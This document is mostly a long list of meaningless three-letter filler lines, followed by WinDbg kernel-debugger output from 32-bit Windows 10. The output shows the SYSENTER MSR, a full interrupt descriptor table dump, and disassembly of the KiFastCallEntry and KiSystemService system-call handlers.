YYH\YYH

YYI\YYI

YYJ\YYJ

YYK\YYK

YYL\YYL

YYM\YYM

YYN\YYN

YYO\YYO

YYP\YYP

YYQ\YYQ

YYR\YYR

YYS\YYS

YYT\YYT

YYU\YYU

YYV\YYV

YYW\YYW

YYX\YYX

YYY\YYY

YYZ\YYZ

YZA\YZA

YZB\YZB

YZC\YZC

YZD\YZD

YZE\YZE

YZF\YZF

YZG\YZG

YZH\YZH

YZI\YZI

YZJ\YZJ

YZK\YZK

YZL\YZL

YZM\YZM

YZN\YZN

YZO\YZO

YZP\YZP

YZQ\YZQ

YZR\YZR

YZS\YZS

YZT\YZT

YZU\YZU

YZV\YZV

YZW\YZW

YZX\YZX

YZY\YZY

YZZ\YZZ

ZAA\ZAA

ZAB\ZAB

ZAC\ZAC

ZAD\ZAD

ZAE\ZAE

ZAF\ZAF

ZAG\ZAG

ZAH\ZAH

ZAI\ZAI

ZAJ\ZAJ

ZAK\ZAK

ZAL\ZAL

ZAM\ZAM

ZAN\ZAN

ZAO\ZAO

ZAP\ZAP

ZAQ\ZAQ

ZAR\ZAR

ZAS\ZAS

ZAT\ZAT

ZAU\ZAU

ZAV\ZAV

ZAW\ZAW

ZAX\ZAX

ZAY\ZAY

ZAZ\ZAZ

ZBA\ZBA

ZBB\ZBB

ZBC\ZBC

ZBD\ZBD

ZBE\ZBE

ZBF\ZBF

ZBG\ZBG

ZBH\ZBH

ZBI\ZBI

ZBJ\ZBJ

ZBK\ZBK

ZBL\ZBL

ZBM\ZBM

ZBN\ZBN

ZBO\ZBO

ZBP\ZBP

ZBQ\ZBQ

ZBR\ZBR

ZBS\ZBS

ZBT\ZBT

ZBU\ZBU

ZBV\ZBV

ZBW\ZBW

ZBX\ZBX

ZBY\ZBY

ZBZ\ZBZ

ZCA\ZCA

ZCB\ZCB

ZCC\ZCC

ZCD\ZCD

ZCE\ZCE

ZCF\ZCF

ZCG\ZCG

ZCH\ZCH

ZCI\ZCI

ZCJ\ZCJ

ZCK\ZCK

ZCL\ZCL

ZCM\ZCM

ZCN\ZCN

ZCO\ZCO

ZCP\ZCP

ZCQ\ZCQ

ZCR\ZCR

ZCS\ZCS

ZCT\ZCT

ZCU\ZCU

ZCV\ZCV

ZCW\ZCW

ZCX\ZCX

ZCY\ZCY

ZCZ\ZCZ

ZDA\ZDA

ZDB\ZDB

ZDC\ZDC

ZDD\ZDD

ZDE\ZDE

ZDF\ZDF

ZDG\ZDG

ZDH\ZDH

ZDI\ZDI

ZDJ\ZDJ

ZDK\ZDK

ZDL\ZDL

ZDM\ZDM

ZDN\ZDN

ZDO\ZDO

ZDP\ZDP

ZDQ\ZDQ

ZDR\ZDR

ZDS\ZDS

ZDT\ZDT

ZDU\ZDU

ZDV\ZDV

ZDW\ZDW

ZDX\ZDX

ZDY\ZDY

ZDZ\ZDZ

ZEA\ZEA

ZEB\ZEB

ZEC\ZEC

ZED\ZED

ZEE\ZEE

ZEF\ZEF

ZEG\ZEG

ZEH\ZEH

ZEI\ZEI

ZEJ\ZEJ

ZEK\ZEK

ZEL\ZEL

ZEM\ZEM

ZEN\ZEN

ZEO\ZEO

ZEP\ZEP

ZEQ\ZEQ

ZER\ZER

ZES\ZES

ZET\ZET

ZEU\ZEU

ZEV\ZEV

ZEW\ZEW

ZEX\ZEX

ZEY\ZEY

ZEZ\ZEZ

ZFA\ZFA

ZFB\ZFB

ZFC\ZFC

ZFD\ZFD

ZFE\ZFE

ZFF\ZFF

ZFG\ZFG

ZFH\ZFH

ZFI\ZFI

ZFJ\ZFJ

ZFK\ZFK

ZFL\ZFL

ZFM\ZFM

ZFN\ZFN

ZFO\ZFO

ZFP\ZFP

ZFQ\ZFQ

ZFR\ZFR

ZFS\ZFS

ZFT\ZFT

ZFU\ZFU

ZFV\ZFV

ZFW\ZFW

ZFX\ZFX

ZFY\ZFY

ZFZ\ZFZ

ZGA\ZGA

ZGB\ZGB

ZGC\ZGC

ZGD\ZGD

ZGE\ZGE

ZGF\ZGF

ZGG\ZGG

ZGH\ZGH

ZGI\ZGI

ZGJ\ZGJ

ZGK\ZGK

ZGL\ZGL

ZGM\ZGM

ZGN\ZGN

ZGO\ZGO

ZGP\ZGP

ZGQ\ZGQ

ZGR\ZGR

ZGS\ZGS

ZGT\ZGT

ZGU\ZGU

ZGV\ZGV

ZGW\ZGW

ZGX\ZGX

ZGY\ZGY

ZGZ\ZGZ

ZHA\ZHA

ZHB\ZHB

ZHC\ZHC

ZHD\ZHD

ZHE\ZHE

ZHF\ZHF

ZHG\ZHG

ZHH\ZHH

ZHI\ZHI

ZHJ\ZHJ

ZHK\ZHK

ZHL\ZHL

ZHM\ZHM

ZHN\ZHN

ZHO\ZHO

ZHP\ZHP

ZHQ\ZHQ

ZHR\ZHR

ZHS\ZHS

ZHT\ZHT

ZHU\ZHU

ZHV\ZHV

ZHW\ZHW

ZHX\ZHX

ZHY\ZHY

ZHZ\ZHZ

ZIA\ZIA

ZIB\ZIB

ZIC\ZIC

ZID\ZID

ZIE\ZIE

ZIF\ZIF

ZIG\ZIG

ZIH\ZIH

ZII\ZII

ZIJ\ZIJ

ZIK\ZIK

ZIL\ZIL

ZIM\ZIM

ZIN\ZIN

ZIO\ZIO

ZIP\ZIP

ZIQ\ZIQ

ZIR\ZIR

ZIS\ZIS

ZIT\ZIT

ZIU\ZIU

ZIV\ZIV

ZIW\ZIW

ZIX\ZIX

ZIY\ZIY

ZIZ\ZIZ

ZJA\ZJA

ZJB\ZJB

ZJC\ZJC

ZJD\ZJD

ZJE\ZJE

ZJF\ZJF

ZJG\ZJG

ZJH\ZJH

ZJI\ZJI

ZJJ\ZJJ

ZJK\ZJK

ZJL\ZJL

ZJM\ZJM

ZJN\ZJN

ZJO\ZJO

ZJP\ZJP

ZJQ\ZJQ

ZJR\ZJR

ZJS\ZJS

ZJT\ZJT

ZJU\ZJU

ZJV\ZJV

ZJW\ZJW

ZJX\ZJX

ZJY\ZJY

ZJZ\ZJZ

ZKA\ZKA

ZKB\ZKB

ZKC\ZKC

ZKD\ZKD

ZKE\ZKE

ZKF\ZKF

ZKG\ZKG

ZKH\ZKH

ZKI\ZKI

ZKJ\ZKJ

ZKK\ZKK

ZKL\ZKL

ZKM\ZKM

ZKN\ZKN

ZKO\ZKO

ZKP\ZKP

ZKQ\ZKQ

ZKR\ZKR

ZKS\ZKS

ZKT\ZKT

ZKU\ZKU

ZKV\ZKV

ZKW\ZKW

ZKX\ZKX

ZKY\ZKY

ZKZ\ZKZ

ZLA\ZLA

ZLB\ZLB

ZLC\ZLC

ZLD\ZLD

ZLE\ZLE

ZLF\ZLF

ZLG\ZLG

ZLH\ZLH

ZLI\ZLI

ZLJ\ZLJ

ZLK\ZLK

ZLL\ZLL

ZLM\ZLM

ZLN\ZLN

ZLO\ZLO

ZLP\ZLP

ZLQ\ZLQ

ZLR\ZLR

ZLS\ZLS

ZLT\ZLT

ZLU\ZLU

ZLV\ZLV

ZLW\ZLW

ZLX\ZLX

ZLY\ZLY

ZLZ\ZLZ

ZMA\ZMA

ZMB\ZMB

ZMC\ZMC

ZMD\ZMD

ZME\ZME

ZMF\ZMF

ZMG\ZMG

ZMH\ZMH

ZMI\ZMI

ZMJ\ZMJ

ZMK\ZMK

ZML\ZML

ZMM\ZMM

ZMN\ZMN

ZMO\ZMO

ZMP\ZMP

ZMQ\ZMQ

ZMR\ZMR

ZMS\ZMS

ZMT\ZMT

ZMU\ZMU

ZMV\ZMV

ZMW\ZMW

ZMX\ZMX

ZMY\ZMY

ZMZ\ZMZ

ZNA\ZNA

ZNB\ZNB

ZNC\ZNC

ZND\ZND

ZNE\ZNE

ZNF\ZNF

ZNG\ZNG

ZNH\ZNH

ZNI\ZNI

ZNJ\ZNJ

ZNK\ZNK

ZNL\ZNL

ZNM\ZNM

ZNN\ZNN

ZNO\ZNO

ZNP\ZNP

ZNQ\ZNQ

ZNR\ZNR

ZNS\ZNS

ZNT\ZNT

ZNU\ZNU

ZNV\ZNV

ZNW\ZNW

ZNX\ZNX

ZNY\ZNY

ZNZ\ZNZ

ZOA\ZOA

ZOB\ZOB

ZOC\ZOC

ZOD\ZOD

ZOE\ZOE

ZOF\ZOF

ZOG\ZOG

ZOH\ZOH

ZOI\ZOI

ZOJ\ZOJ

ZOK\ZOK

ZOL\ZOL

ZOM\ZOM

ZON\ZON

ZOO\ZOO

ZOP\ZOP

ZOQ\ZOQ

ZOR\ZOR

ZOS\ZOS

ZOT\ZOT

ZOU\ZOU

ZOV\ZOV

ZOW\ZOW

ZOX\ZOX

ZOY\ZOY

ZOZ\ZOZ

ZPA\ZPA

ZPB\ZPB

ZPC\ZPC

ZPD\ZPD

ZPE\ZPE

ZPF\ZPF

ZPG\ZPG

ZPH\ZPH

ZPI\ZPI

ZPJ\ZPJ

ZPK\ZPK

ZPL\ZPL

ZPM\ZPM

ZPN\ZPN

ZPO\ZPO

ZPP\ZPP

ZPQ\ZPQ

ZPR\ZPR

ZPS\ZPS

ZPT\ZPT

ZPU\ZPU

ZPV\ZPV

ZPW\ZPW

ZPX\ZPX

ZPY\ZPY

ZPZ\ZPZ

ZQA\ZQA

ZQB\ZQB

ZQC\ZQC

ZQD\ZQD

ZQE\ZQE

ZQF\ZQF

ZQG\ZQG

ZQH\ZQH

ZQI\ZQI

ZQJ\ZQJ

ZQK\ZQK

ZQL\ZQL

ZQM\ZQM

ZQN\ZQN

ZQO\ZQO

ZQP\ZQP

ZQQ\ZQQ

ZQR\ZQR

ZQS\ZQS

ZQT\ZQT

ZQU\ZQU

ZQV\ZQV

ZQW\ZQW

ZQX\ZQX

ZQY\ZQY

ZQZ\ZQZ

ZRA\ZRA

ZRB\ZRB

ZRC\ZRC

ZRD\ZRD

ZRE\ZRE

ZRF\ZRF

ZRG\ZRG

ZRH\ZRH

ZRI\ZRI

ZRJ\ZRJ

ZRK\ZRK

ZRL\ZRL

ZRM\ZRM

ZRN\ZRN

ZRO\ZRO

ZRP\ZRP

ZRQ\ZRQ

ZRR\ZRR

ZRS\ZRS

ZRT\ZRT

ZRU\ZRU

ZRV\ZRV

ZRW\ZRW

ZRX\ZRX

ZRY\ZRY

ZRZ\ZRZ

ZSA\ZSA

ZSB\ZSB

ZSC\ZSC

ZSD\ZSD

ZSE\ZSE

ZSF\ZSF

ZSG\ZSG

ZSH\ZSH

ZSI\ZSI

ZSJ\ZSJ

ZSK\ZSK

ZSL\ZSL

ZSM\ZSM

ZSN\ZSN

ZSO\ZSO

ZSP\ZSP

ZSQ\ZSQ

ZSR\ZSR

ZSS\ZSS

ZST\ZST

ZSU\ZSU

ZSV\ZSV

ZSW\ZSW

ZSX\ZSX

ZSY\ZSY

ZSZ\ZSZ

ZTA\ZTA

ZTB\ZTB

ZTC\ZTC

ZTD\ZTD

ZTE\ZTE

ZTF\ZTF

ZTG\ZTG

ZTH\ZTH

ZTI\ZTI

ZTJ\ZTJ

ZTK\ZTK

ZTL\ZTL

ZTM\ZTM

ZTN\ZTN

ZTO\ZTO

ZTP\ZTP

ZTQ\ZTQ

ZTR\ZTR

ZTS\ZTS

ZTT\ZTT

ZTU\ZTU

ZTV\ZTV

ZTW\ZTW

ZTX\ZTX

ZTY\ZTY

ZTZ\ZTZ

ZUA\ZUA

ZUB\ZUB

ZUC\ZUC

ZUD\ZUD

ZUE\ZUE

ZUF\ZUF

ZUG\ZUG

ZUH\ZUH

ZUI\ZUI

ZUJ\ZUJ

ZUK\ZUK

ZUL\ZUL

ZUM\ZUM

ZUN\ZUN

ZUO\ZUO

ZUP\ZUP

ZUQ\ZUQ

ZUR\ZUR

ZUS\ZUS

ZUT\ZUT

ZUU\ZUU

ZUV\ZUV

ZUW\ZUW

ZUX\ZUX

ZUY\ZUY

ZUZ\ZUZ

ZVA\ZVA

ZVB\ZVB

ZVC\ZVC

ZVD\ZVD

ZVE\ZVE

ZVF\ZVF

ZVG\ZVG

ZVH\ZVH

ZVI\ZVI

ZVJ\ZVJ

ZVK\ZVK

ZVL\ZVL

ZVM\ZVM

ZVN\ZVN

ZVO\ZVO

ZVP\ZVP

ZVQ\ZVQ

ZVR\ZVR

ZVS\ZVS

ZVT\ZVT

ZVU\ZVU

ZVV\ZVV

ZVW\ZVW

ZVX\ZVX

ZVY\ZVY

ZVZ\ZVZ

ZWA\ZWA

ZWB\ZWB

ZWC\ZWC

ZWD\ZWD

ZWE\ZWE

ZWF\ZWF

ZWG\ZWG

ZWH\ZWH

ZWI\ZWI

ZWJ\ZWJ

ZWK\ZWK

ZWL\ZWL

ZWM\ZWM

ZWN\ZWN

ZWO\ZWO

ZWP\ZWP

ZWQ\ZWQ

ZWR\ZWR

ZWS\ZWS

ZWT\ZWT

ZWU\ZWU

ZWV\ZWV

ZWW\ZWW

ZWX\ZWX

ZWY\ZWY

ZWZ\ZWZ

ZXA\ZXA

ZXB\ZXB

ZXC\ZXC

ZXD\ZXD

ZXE\ZXE

ZXF\ZXF

ZXG\ZXG

ZXH\ZXH

ZXI\ZXI

ZXJ\ZXJ

ZXK\ZXK

ZXL\ZXL

ZXM\ZXM

ZXN\ZXN

ZXO\ZXO

ZXP\ZXP

ZXQ\ZXQ

ZXR\ZXR

ZXS\ZXS

ZXT\ZXT

ZXU\ZXU

ZXV\ZXV

ZXW\ZXW

ZXX\ZXX

ZXY\ZXY

ZXZ\ZXZ

ZYA\ZYA

ZYB\ZYB

ZYC\ZYC

ZYD\ZYD

ZYE\ZYE

ZYF\ZYF

ZYG\ZYG

ZYH\ZYH

ZYI\ZYI

ZYJ\ZYJ

ZYK\ZYK

ZYL\ZYL

ZYM\ZYM

ZYN\ZYN

ZYO\ZYO

ZYP\ZYP

ZYQ\ZYQ

ZYR\ZYR

ZYS\ZYS

ZYT\ZYT

ZYU\ZYU

ZYV\ZYV

ZYW\ZYW

ZYX\ZYX

ZYY\ZYY

ZYZ\ZYZ

ZZA\ZZA

ZZB\ZZB
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ZZE\ZZE
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ZZH\ZZH

ZZI\ZZI
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ZZK\ZZK
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WINDOWS 10系统调试.txt

kd> rdmsr 176

msr[176] = 00000000`81b72ea0

kd> u 81b72ea0

nt!KiFastCallEntry:

81b72ea0 b923000000      mov     ecx,23h

81b72ea5 6a30            push    30h

81b72ea7 0fa1            pop     fs

81b72ea9 8ed9            mov     ds,cx

81b72eab 8ec1            mov     es,cx

81b72ead 648b0d40000000  mov     ecx,dword ptr fs:[40h]

81b72eb4 8b6104          mov     esp,dword ptr [ecx+4]

81b72eb7 6a23            push    23h



--------------------------------------------------------------------------------------------------------



kd> !idt -a



Dumping IDT:



00:	81b73f20 nt!KiTrap00

01:	81b740d0 nt!KiTrap01

02:	Task Selector = 0x0058

03:	81b74620 nt!KiTrap03

04:	81b747e8 nt!KiTrap04

05:	81b74990 nt!KiTrap05

06:	81b74b44 nt!KiTrap06

07:	81b75244 nt!KiTrap07

08:	Task Selector = 0x0050

09:	81b75444 nt!KiTrap09

0a:	81b755a0 nt!KiTrap0A

0b:	81b75714 nt!KiTrap0B

0c:	81b759d4 nt!KiTrap0C

0d:	81b75d30 nt!KiTrap0D

0e:	81b76498 nt!KiTrap0E

0f:	81b76744 nt!KiTrap0F

10:	81b7689c nt!KiTrap10

11:	81b76aec nt!KiTrap11

12:	Task Selector = 0x00A0

13:	81b76c94 nt!KiTrap13

14:	81b76744 nt!KiTrap0F

15:	81b76744 nt!KiTrap0F

16:	81b76744 nt!KiTrap0F

17:	81b76744 nt!KiTrap0F

18:	81b76744 nt!KiTrap0F

19:	81b76744 nt!KiTrap0F

1a:	81b76744 nt!KiTrap0F

1b:	81b76744 nt!KiTrap0F

1c:	81b76744 nt!KiTrap0F

1d:	81b76744 nt!KiTrap0F

1e:	81b76744 nt!KiTrap0F

1f:	81b76744 nt!KiTrap0F

20:	00000000 

21:	00000000 

22:	00000000 

23:	00000000 

24:	00000000 

25:	00000000 

26:	00000000 

27:	00000000 

28:	00000000 

29:	81b732ec nt!KiRaiseSecurityCheckFailure

2a:	81b734aa nt!KiGetTickCount

2b:	81b73660 nt!KiCallbackReturn

2c:	81b737a8 nt!KiRaiseAssertion

2d:	81b744c0 nt!KiDebugService

2e:	81b72dbe nt!KiSystemService

2f:	81b76744 nt!KiTrap0F

30:	81b722b0 nt!KiStartUnexpectedRange

31:	81b722bc nt!KiUnexpectedInterrupt1

32:	81b722c8 nt!KiUnexpectedInterrupt2

33:	81b722d4 nt!KiUnexpectedInterrupt3

34:	81b722e0 nt!KiUnexpectedInterrupt4

35:	81b722ec nt!KiUnexpectedInterrupt5

36:	81b722f8 nt!KiUnexpectedInterrupt6

37:	81b72304 nt!KiUnexpectedInterrupt7

38:	81b72310 nt!KiUnexpectedInterrupt8

39:	81b7231c nt!KiUnexpectedInterrupt9

3a:	81b72328 nt!KiUnexpectedInterrupt10

3b:	81b72334 nt!KiUnexpectedInterrupt11

3c:	81b72340 nt!KiUnexpectedInterrupt12

3d:	81b7234c nt!KiUnexpectedInterrupt13

3e:	81b72358 nt!KiUnexpectedInterrupt14

3f:	81b72364 nt!KiUnexpectedInterrupt15

40:	81b72370 nt!KiUnexpectedInterrupt16

41:	81b7237c nt!KiUnexpectedInterrupt17

42:	81b72388 nt!KiUnexpectedInterrupt18

43:	81b72394 nt!KiUnexpectedInterrupt19

44:	81b723a0 nt!KiUnexpectedInterrupt20

45:	81b723ac nt!KiUnexpectedInterrupt21

46:	81b723b8 nt!KiUnexpectedInterrupt22

47:	81b723c4 nt!KiUnexpectedInterrupt23

48:	81b723d0 nt!KiUnexpectedInterrupt24

49:	81b723dc nt!KiUnexpectedInterrupt25

4a:	81b723e8 nt!KiUnexpectedInterrupt26

4b:	81b723f4 nt!KiUnexpectedInterrupt27

4c:	81b72400 nt!KiUnexpectedInterrupt28

4d:	81b7240c nt!KiUnexpectedInterrupt29

4e:	81b72418 nt!KiUnexpectedInterrupt30

4f:	81b72424 nt!KiUnexpectedInterrupt31

50:	81b72430 nt!KiUnexpectedInterrupt32

51:	81b7243c nt!KiUnexpectedInterrupt33

52:	81b72448 nt!KiUnexpectedInterrupt34

53:	81b72454 nt!KiUnexpectedInterrupt35

54:	81b72460 nt!KiUnexpectedInterrupt36

55:	81b7246c nt!KiUnexpectedInterrupt37

56:	81b72478 nt!KiUnexpectedInterrupt38

57:	81b72484 nt!KiUnexpectedInterrupt39

58:	81b72490 nt!KiUnexpectedInterrupt40

59:	81b7249c nt!KiUnexpectedInterrupt41

5a:	81b724a8 nt!KiUnexpectedInterrupt42

5b:	81b724b4 nt!KiUnexpectedInterrupt43

5c:	81b724c0 nt!KiUnexpectedInterrupt44

5d:	81b724cc nt!KiUnexpectedInterrupt45

5e:	81b724d8 nt!KiUnexpectedInterrupt46

5f:	81b724e4 nt!KiUnexpectedInterrupt47

60:	81b724f0 nt!KiUnexpectedInterrupt48

61:	81b724fc nt!KiUnexpectedInterrupt49

62:	81b72508 nt!KiUnexpectedInterrupt50

63:	81b72514 nt!KiUnexpectedInterrupt51

64:	81b72520 nt!KiUnexpectedInterrupt52

65:	81b7252c nt!KiUnexpectedInterrupt53

66:	81b72538 nt!KiUnexpectedInterrupt54

67:	81b72544 nt!KiUnexpectedInterrupt55

68:	81b72550 nt!KiUnexpectedInterrupt56

69:	81b7255c nt!KiUnexpectedInterrupt57

6a:	81b72568 nt!KiUnexpectedInterrupt58

6b:	81b72574 nt!KiUnexpectedInterrupt59

6c:	81b72580 nt!KiUnexpectedInterrupt60

6d:	81b7258c nt!KiUnexpectedInterrupt61

6e:	81b72598 nt!KiUnexpectedInterrupt62

6f:	81b725a4 nt!KiUnexpectedInterrupt63

70:	81b725b0 nt!KiUnexpectedInterrupt64

71:	81b725bc nt!KiUnexpectedInterrupt65

72:	81b725c8 nt!KiUnexpectedInterrupt66

73:	81b725d4 nt!KiUnexpectedInterrupt67

74:	81b725e0 nt!KiUnexpectedInterrupt68

75:	81b725ec nt!KiUnexpectedInterrupt69

76:	81b725f8 nt!KiUnexpectedInterrupt70

77:	81b72604 nt!KiUnexpectedInterrupt71

78:	81b72610 nt!KiUnexpectedInterrupt72

79:	81b7261c nt!KiUnexpectedInterrupt73

7a:	81b72628 nt!KiUnexpectedInterrupt74

7b:	81b72634 nt!KiUnexpectedInterrupt75

7c:	81b72640 nt!KiUnexpectedInterrupt76

7d:	81b7264c nt!KiUnexpectedInterrupt77

7e:	81b72658 nt!KiUnexpectedInterrupt78

7f:	81b72664 nt!KiUnexpectedInterrupt79

80:	81b72670 nt!KiUnexpectedInterrupt80

81:	81b7267c nt!KiUnexpectedInterrupt81

82:	81b72688 nt!KiUnexpectedInterrupt82

83:	81b72694 nt!KiUnexpectedInterrupt83

84:	81b726a0 nt!KiUnexpectedInterrupt84

85:	81b726ac nt!KiUnexpectedInterrupt85

86:	81b726b8 nt!KiUnexpectedInterrupt86

87:	81b726c4 nt!KiUnexpectedInterrupt87

88:	81b726d0 nt!KiUnexpectedInterrupt88

89:	81b726dc nt!KiUnexpectedInterrupt89

8a:	81b726e8 nt!KiUnexpectedInterrupt90

8b:	81b726f4 nt!KiUnexpectedInterrupt91

8c:	81b72700 nt!KiUnexpectedInterrupt92

8d:	81b7270c nt!KiUnexpectedInterrupt93

8e:	81b72718 nt!KiUnexpectedInterrupt94

8f:	81b72724 nt!KiUnexpectedInterrupt95

90:	81b72730 nt!KiUnexpectedInterrupt96

91:	81b7273c nt!KiUnexpectedInterrupt97

92:	81b72748 nt!KiUnexpectedInterrupt98

93:	81b72754 nt!KiUnexpectedInterrupt99

94:	81b72760 nt!KiUnexpectedInterrupt100

95:	81b7276c nt!KiUnexpectedInterrupt101

96:	81b72778 nt!KiUnexpectedInterrupt102

97:	81b72784 nt!KiUnexpectedInterrupt103

98:	81b72790 nt!KiUnexpectedInterrupt104

99:	81b7279c nt!KiUnexpectedInterrupt105

9a:	81b727a8 nt!KiUnexpectedInterrupt106

9b:	81b727b4 nt!KiUnexpectedInterrupt107

9c:	81b727c0 nt!KiUnexpectedInterrupt108

9d:	81b727cc nt!KiUnexpectedInterrupt109

9e:	81b727d8 nt!KiUnexpectedInterrupt110

9f:	81b727e4 nt!KiUnexpectedInterrupt111

a0:	81b727f0 nt!KiUnexpectedInterrupt112

a1:	81b727fc nt!KiUnexpectedInterrupt113

a2:	81b72808 nt!KiUnexpectedInterrupt114

a3:	81b72814 nt!KiUnexpectedInterrupt115

a4:	81b72820 nt!KiUnexpectedInterrupt116

a5:	81b7282c nt!KiUnexpectedInterrupt117

a6:	81b72838 nt!KiUnexpectedInterrupt118

a7:	81b72844 nt!KiUnexpectedInterrupt119

a8:	81b72850 nt!KiUnexpectedInterrupt120

a9:	81b7285c nt!KiUnexpectedInterrupt121

aa:	81b72868 nt!KiUnexpectedInterrupt122

ab:	81b72874 nt!KiUnexpectedInterrupt123

ac:	81b72880 nt!KiUnexpectedInterrupt124

ad:	81b7288c nt!KiUnexpectedInterrupt125

ae:	81b72898 nt!KiUnexpectedInterrupt126

af:	81b728a4 nt!KiUnexpectedInterrupt127

b0:	81b728b0 nt!KiUnexpectedInterrupt128

b1:	81b728bc nt!KiUnexpectedInterrupt129

b2:	81b728c8 nt!KiUnexpectedInterrupt130

b3:	81b728d4 nt!KiUnexpectedInterrupt131

b4:	81b728e0 nt!KiUnexpectedInterrupt132

b5:	81b728ec nt!KiUnexpectedInterrupt133

b6:	81b728f8 nt!KiUnexpectedInterrupt134

b7:	81b72904 nt!KiUnexpectedInterrupt135

b8:	81b72910 nt!KiUnexpectedInterrupt136

b9:	81b7291c nt!KiUnexpectedInterrupt137

ba:	81b72928 nt!KiUnexpectedInterrupt138

bb:	81b72934 nt!KiUnexpectedInterrupt139

bc:	81b72940 nt!KiUnexpectedInterrupt140

bd:	81b7294c nt!KiUnexpectedInterrupt141

be:	81b72958 nt!KiUnexpectedInterrupt142

bf:	81b72964 nt!KiUnexpectedInterrupt143

c0:	81b72970 nt!KiUnexpectedInterrupt144

c1:	81b7297c nt!KiUnexpectedInterrupt145

c2:	81b72988 nt!KiUnexpectedInterrupt146

c3:	81b72994 nt!KiUnexpectedInterrupt147

c4:	81b729a0 nt!KiUnexpectedInterrupt148

c5:	81b729ac nt!KiUnexpectedInterrupt149

c6:	81b729b8 nt!KiUnexpectedInterrupt150

c7:	81b729c4 nt!KiUnexpectedInterrupt151

c8:	81b729d0 nt!KiUnexpectedInterrupt152

c9:	81b729dc nt!KiUnexpectedInterrupt153

ca:	81b729e8 nt!KiUnexpectedInterrupt154

cb:	81b729f4 nt!KiUnexpectedInterrupt155

cc:	81b72a00 nt!KiUnexpectedInterrupt156

cd:	81b72a0c nt!KiUnexpectedInterrupt157

ce:	81a20bd8 hal!HalpX86IommuInterruptRoutine

cf:	81b72a24 nt!KiUnexpectedInterrupt159

d0:	81b72a30 nt!KiUnexpectedInterrupt160

d1:	81a1fba4 hal!HalpTimerClockInterrupt

d2:	81a1fee0 hal!HalpTimerClockIpiRoutine

d3:	81b72a54 nt!KiUnexpectedInterrupt163

d4:	81b72a60 nt!KiUnexpectedInterrupt164

d5:	81b72a6c nt!KiUnexpectedInterrupt165

d6:	81b72a78 nt!KiUnexpectedInterrupt166

d7:	81a1f378 hal!HalpX86InterruptRebootService

d8:	81a1ed08 hal!HalpX86InterruptStubService

d9:	81b72a9c nt!KiUnexpectedInterrupt169

da:	81b72aa8 nt!KiUnexpectedInterrupt170

db:	81b72ab4 nt!KiUnexpectedInterrupt171

dc:	81b72ac0 nt!KiUnexpectedInterrupt172

dd:	81b72acc nt!KiUnexpectedInterrupt173

de:	81b72ad8 nt!KiUnexpectedInterrupt174

df:	81a1ec5c hal!HalpX86InterruptSpuriousService

e0:	81b72af0 nt!KiUnexpectedInterrupt176

e1:	81a1f61c hal!HalpX86InterruptIpiService

e2:	81a1f040 hal!HalpX86InterruptLocalErrorService

e3:	81b72b14 nt!KiUnexpectedInterrupt179

e4:	81b72b20 nt!KiUnexpectedInterrupt180

e5:	81b72b2c nt!KiUnexpectedInterrupt181

e6:	81b72b38 nt!KiUnexpectedInterrupt182

e7:	81b72b44 nt!KiUnexpectedInterrupt183

e8:	81b72b50 nt!KiUnexpectedInterrupt184

e9:	81b72b5c nt!KiUnexpectedInterrupt185

ea:	81b72b68 nt!KiUnexpectedInterrupt186

eb:	81b72b74 nt!KiUnexpectedInterrupt187

ec:	81b72b80 nt!KiUnexpectedInterrupt188

ed:	81b72b8c nt!KiUnexpectedInterrupt189

ee:	81b72b98 nt!KiUnexpectedInterrupt190

ef:	81b72ba4 nt!KiUnexpectedInterrupt191

f0:	81b72bb0 nt!KiUnexpectedInterrupt192

f1:	81b72bbc nt!KiUnexpectedInterrupt193

f2:	81b72bc8 nt!KiUnexpectedInterrupt194

f3:	81b72bd4 nt!KiUnexpectedInterrupt195

f4:	81b72be0 nt!KiUnexpectedInterrupt196

f5:	81b72bec nt!KiUnexpectedInterrupt197

f6:	81b72bf8 nt!KiUnexpectedInterrupt198

f7:	81b72c04 nt!KiUnexpectedInterrupt199

f8:	81b72c10 nt!KiUnexpectedInterrupt200

f9:	81b72c1c nt!KiUnexpectedInterrupt201

fa:	81b72c28 nt!KiUnexpectedInterrupt202

fb:	81b72c34 nt!KiUnexpectedInterrupt203

fc:	81b72c40 nt!KiUnexpectedInterrupt204

fd:	81a20558 hal!HalpTimerProfileInterrupt

fe:	81a2089c hal!HalpPerfInterrupt

ff:	81b72c64 nt!KiUnexpectedInterrupt207



kd> u 81b72dbe l30

nt!KiSystemService:

81b72dbe 6a00            push    0

81b72dc0 55              push    ebp

81b72dc1 53              push    ebx

81b72dc2 56              push    esi

81b72dc3 57              push    edi

81b72dc4 0fa0            push    fs

81b72dc6 bb30000000      mov     ebx,30h

81b72dcb 8ee3            mov     fs,bx

81b72dcd bb23000000      mov     ebx,23h

81b72dd2 8edb            mov     ds,bx

81b72dd4 8ec3            mov     es,bx

81b72dd6 648b3524010000  mov     esi,dword ptr fs:[124h]

81b72ddd 64ff3500000000  push    dword ptr fs:[0]

81b72de4 8b1da090c981    mov     ebx,dword ptr [nt!KiI386ExceptionChainTerminator (81c990a0)]

81b72dea 64891d00000000  mov     dword ptr fs:[0],ebx

81b72df1 83ec4c          sub     esp,4Ch

81b72df4 8bec            mov     ebp,esp

81b72df6 0fb69e5a010000  movzx   ebx,byte ptr [esi+15Ah]

81b72dfd 885d44          mov     byte ptr [ebp+44h],bl

81b72e00 8b5d6c          mov     ebx,dword ptr [ebp+6Ch]

81b72e03 83e301          and     ebx,1

81b72e06 889e5a010000    mov     byte ptr [esi+15Ah],bl

81b72e0c 0fae5d48        stmxcsr dword ptr [ebp+48h]

81b72e10 640fae1508000000 ldmxcsr dword ptr fs:[8]

81b72e18 8b5e6c          mov     ebx,dword ptr [esi+6Ch]

81b72e1b 895d38          mov     dword ptr [ebp+38h],ebx

81b72e1e c6450f02        mov     byte ptr [ebp+0Fh],2

81b72e22 83652800        and     dword ptr [ebp+28h],0

81b72e26 f64603df        test    byte ptr [esi+3],0DFh

81b72e2a 896e6c          mov     dword ptr [esi+6Ch],ebp

81b72e2d fc              cld

81b72e2e 0f858cfeffff    jne     nt!Dr_kss_a (81b72cc0)

81b72e34 8b5d60          mov     ebx,dword ptr [ebp+60h]

81b72e37 8b7d68          mov     edi,dword ptr [ebp+68h]

81b72e3a c74508000ddbba  mov     dword ptr [ebp+8],0BADB0D00h

81b72e41 895d00          mov     dword ptr [ebp],ebx

81b72e44 897d04          mov     dword ptr [ebp+4],edi

81b72e47 fb              sti

81b72e48 e9f5000000      jmp     nt!KiFastCallEntry+0xa2 (81b72f42)

nt!KiFastCallEntry2:

81b72e4d b930000000      mov     ecx,30h

81b72e52 8ee1            mov     fs,cx

81b72e54 b923000000      mov     ecx,23h

